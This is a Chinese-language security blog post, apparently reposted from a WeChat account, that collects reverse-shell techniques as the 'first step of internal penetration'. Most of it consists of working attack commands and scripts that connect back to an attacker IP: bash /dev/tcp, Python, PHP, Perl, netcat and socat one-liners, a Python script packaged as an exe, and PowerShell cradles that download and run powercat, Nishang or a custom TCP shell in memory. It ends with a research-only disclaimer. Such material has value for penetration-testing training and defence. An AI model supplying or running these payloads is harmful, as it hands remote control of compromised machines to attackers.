外网渗透最后一步,内网渗透第一步——反弹Shell大全

admin 2025年2月10日19:04:09评论11 views字数 5231阅读17分26秒阅读模式

概述

  • 外网渗透的最后一步,内网渗透的第一步。
  • 一般外网打点完成、Web 漏洞利用成功后,通常会在目标机上获得一个 Webshell,但是 Webshell 虽然能执行命令和管理文件,但毕竟不是真正的 Shell,而且也不稳定,因此就需要获取一个稳定的 Shell 环境。
  • 通常情况下,局域网边界或服务器自身会有防火墙,很少会允许其他设备随便连接自己的某一个端口,只有某些特定端口可能会被允许访问,例如发布了一个 Web 服务 80 端口。
外网渗透最后一步,内网渗透第一步——反弹Shell大全
  • 此时正向 Shell 就不起作用了,但防火墙对于内网访问外网设备的端口一般不会做限制,这时候就可以使用反向 Shell,也就是攻击者指定并监听一个端口,此时我们就可以通过写一个脚本或命令让目标设备执行,目标设备就会连接自己,并将 Shell 传递过来。
  • 当然,如果管理员安全意识比较高,也会限制自己的服务器访问其它设备的某些端口,这时我们可以指定常用的端口进行监听,例如服务器会使用到 DNS 服务 53 端口,这时候攻击者就可以监听 53 端口让目标服务器来连接自己。

使用场景

  • 由于防火墙限制,目标机器只能主动向外发送请求,不能接收请求。
  • 拿到了目标机器的远程执行命令权限,比如 Webshell 权限,为操作方便想要在本机拿到 Shell,因为有时候一些操作在 Webshell 中是没办法正常工作的。
  • 目标机器位于局域网(私网地址),没有映射到公网,正向 Shell 直接连接不了。
  • 目标机器的 IP(公网地址) 动态改变,我们无法持续控制目标。
  • 对于好不容易在目标系统落地的木马,受害者什么时候能中招、对方的网络环境是什么样的、什么时候开关机等情况都是未知的,所以建立一个服务端让恶意程序主动连接,才是上策。

方法

  • 反弹 Shell 的方式有很多,具体要用哪种方式还需要根据目标机器的环境来确定。
  • 比如目标机器上如果安装有 Netcat(瑞士军刀),那我们就可以利用 Netcat 反弹 Shell、如果具有 Python 环境,我们就可以利用 Python 反弹 Shell、如果具有 PHP 环境,我们就可以利用 PHP 反弹 Shell。

接下来我们选择部分方式举例

bash 反弹 Shell

攻击机
nc -lvp 6666 # 监听 6666 端口
外网渗透最后一步,内网渗透第一步——反弹Shell大全
目标
bash -i >& /dev/tcp/192.168.49.139/6666 0>&1
外网渗透最后一步,内网渗透第一步——反弹Shell大全
效果
外网渗透最后一步,内网渗透第一步——反弹Shell大全
命令含义
bash -i# 打开一个交互的 bash>&# 将标准错误输出合并,并重定向到标准输出,也可以写成 &>/dev/tcp/192.168.49.139/6666# 调用 socket,建立 socket 连接,其中 192.168.49.139 是要反弹到的主机 IP,6666 为端口。# /dev/tcp/ 是 Linux 中一个特殊的设备,打开这个文件就相当于发出了一个 socket 调用,建立一个 socket 连接,读写这个文件就相当于在这个 socket 连接中传输数据。同理,Linux 中还存在 /dev/udp/。0>&1# 标准输入重定向到标准输出,实现你与反弹出来的 Shell 的交互,可以接受用户输入,0>&1 和 0<&1 是相同的作用

目标存在 Python 环境,Python 反弹 Shell

攻击机
nc -lvp 6666
外网渗透最后一步,内网渗透第一步——反弹Shell大全
目标

方法一

  • 执行命令
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.49.139",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
外网渗透最后一步,内网渗透第一步——反弹Shell大全
  • 效果
外网渗透最后一步,内网渗透第一步——反弹Shell大全

方法二

  • 创建文件(revere_shell_win.py)
# -*- coding:utf-8 -*-import osimport selectimport socketimport sysimport subprocessdef ReserveConnect(addr, port):'''反弹连接shell'''    try:        shell = socket.socket(socket.AF_INET, socket.SOCK_STREAM)        shell.connect((addr,port))    except Exception as reason:print ('[-] Failed to Create Socket : %s'%reason)exit(0)    rlist = [shell]    wlist = []    elist = [shell]while True:        shell.send("cmd:".encode())        rs,ws,es = select.select(rlist,wlist,wlist)for sockfd in rs:if sockfd == shell:command = shell.recv(1024).decode()  # 将接收到的数据转换为字符串类型ifcommand == 'exit':                    shell.close()break                result, error = subprocess.Popen(command,shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE).communicate()                shell.sendall(result.decode("GB2312").encode("UTF-8"))# 主函数运行def run():if len(sys.argv)<3:print('Usage: python reverse.py [IP] [PORT]')else:        url = sys.argv[1]        port = int(sys.argv[2])        ReserveConnect(url,port)if __name__ == '__main__':    run()
  • 执行命令
python revere_shell_win.py 192.168.49.139 6666
外网渗透最后一步,内网渗透第一步——反弹Shell大全
  • 效果
外网渗透最后一步,内网渗透第一步——反弹Shell大全

注意:

如果目标系统中没有 python 环境,也可以将上述脚本打包成 exe 文件。使用 pyinstaller 等工具将该文件打包为 exe 文件,直接上传 exe 到目标系统运行即可。

pip install pyinstalle

pyinstaller -Fw revere_shell_win.py

目标存在 PHP 环境,PHP 反弹 Shell

攻击机
nc -lvp 6666
外网渗透最后一步,内网渗透第一步——反弹Shell大全
目标

方法一

  • 直接 PHP 执行
php -r '$sock=fsockopen("192.168.49.139",6666);exec("/bin/sh -i <&3 >&3 2>&3");'
外网渗透最后一步,内网渗透第一步——反弹Shell大全
  • 效果
外网渗透最后一步,内网渗透第一步——反弹Shell大全

方法二

  • 上传或创建 PHP 脚本文件(re.php),然后浏览器访问
<?phpsystem("bash -c 'bash -i >& /dev/tcp/192.168.49.139/6666 0>&1'");?>
外网渗透最后一步,内网渗透第一步——反弹Shell大全
  • 效果
外网渗透最后一步,内网渗透第一步——反弹Shell大全

注意:

如果 PHP 没有在环境变量中,指定 PHP 的绝对路径即可。

目标存在 Perl 环境,Perl 反弹 Shell

攻击机
nc -lvp 6666
外网渗透最后一步,内网渗透第一步——反弹Shell大全
目标
perl -e 'use Socket; $i="192.168.49.139";$p=6666;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
外网渗透最后一步,内网渗透第一步——反弹Shell大全
效果
外网渗透最后一步,内网渗透第一步——反弹Shell大全

目标存在 Netcat 工具,Netcat 反弹 Shell

攻击机
nc -lvp 6666
外网渗透最后一步,内网渗透第一步——反弹Shell大全
目标
  • Linux
nc 192.168.49.139 6666 -e /bin/bash
外网渗透最后一步,内网渗透第一步——反弹Shell大全
  • Windows
nc 192.168.49.139 6666 -e c:windowssystem32cmd.exe

注意:

有些版本的 nc 是没有 -e 参数的(非传统版)

此时可以通过 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.49.139 6666 >/tmp/f 命令反弹。

外网渗透最后一步,内网渗透第一步——反弹Shell大全

利用 Socat 反弹 Shell

Socat 是强大易用的网络工具,可以实现任意 Socket 的转换。可以看作是 nc 的增强版。

攻击机
socat TCP-LISTEN:2333 -或 nc -lvp 6666
外网渗透最后一步,内网渗透第一步——反弹Shell大全
目标
socat tcp-connect:192.168.49.139:6666 exec:'bash -li',pty,stderr,setsid,sigint,sane
外网渗透最后一步,内网渗透第一步——反弹Shell大全
效果
外网渗透最后一步,内网渗透第一步——反弹Shell大全

利用 powercat 反弹 shell

powercat 是 Powershell 版的 Netcat,实际上是一个 powershell 的函数,使用方法类似 Netcat。

网站:https://github.com/besimorhino/powercat

攻击机
nc -lvp 6666
外网渗透最后一步,内网渗透第一步——反弹Shell大全
目标
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.49.139 -p 6666 -e cmd
外网渗透最后一步,内网渗透第一步——反弹Shell大全

注意:

通过 powershell 下载脚本,然后去执行。这种方式是没有文件落地的,而是直接加载进内存执行。

效果
外网渗透最后一步,内网渗透第一步——反弹Shell大全

利用 Nishang 反弹 shell

Nishang 是一个基于 PowerShell 的攻击框架,集合了一些 PowerShell 攻击脚本和有效载荷,可反弹 TCP / UDP / HTTP / HTTPS / ICMP 等类型 shell。

网站:https://github.com/samratashok/nishang

攻击机
nc -lvp 6666
外网渗透最后一步,内网渗透第一步——反弹Shell大全
目标
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.49.139 -port 6666
外网渗透最后一步,内网渗透第一步——反弹Shell大全
效果
外网渗透最后一步,内网渗透第一步——反弹Shell大全

自定义 powershell 函数反弹 shell

利用 powershell 创建一个 Net.Sockets.TCPClient 对象,通过 Socket 反弹 tcp 的 shell,其实也是借鉴 nishang 中的 Invoke-PowerShellTcpOneLine.ps1。

攻击机
nc -lvp 6666
外网渗透最后一步,内网渗透第一步——反弹Shell大全
在任意网站根目录创建文件 listen_tcp.ps1,内容如下
function Invoke-lltestTcp{$client = New-Object Net.Sockets.TCPClient('192.168.49.139',6666)$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0}while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)$sendback = (iex $data 2>&1 | Out-String )$sendback2 = $sendback + 'PS ' + (pwd).Path + '> '$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)$stream.Write($sendbyte,0,$sendbyte.Length)$stream.Flush()}$client.Close()}
目标
powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.49.131/listen_tcp.ps1');Invoke-lltestTcp
外网渗透最后一步,内网渗透第一步——反弹Shell大全
效果
外网渗透最后一步,内网渗透第一步——反弹Shell大全

还有 Ncat、Ruby、Telnet、Awk、Java、Lua、MSF 等等都可以实现反弹效果...

原文始发于微信公众号(大伯为安全):外网渗透最后一步,内网渗透第一步——反弹Shell大全

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月10日19:04:09
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   外网渗透最后一步,内网渗透第一步——反弹Shell大全https://cn-sec.com/archives/3723263.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息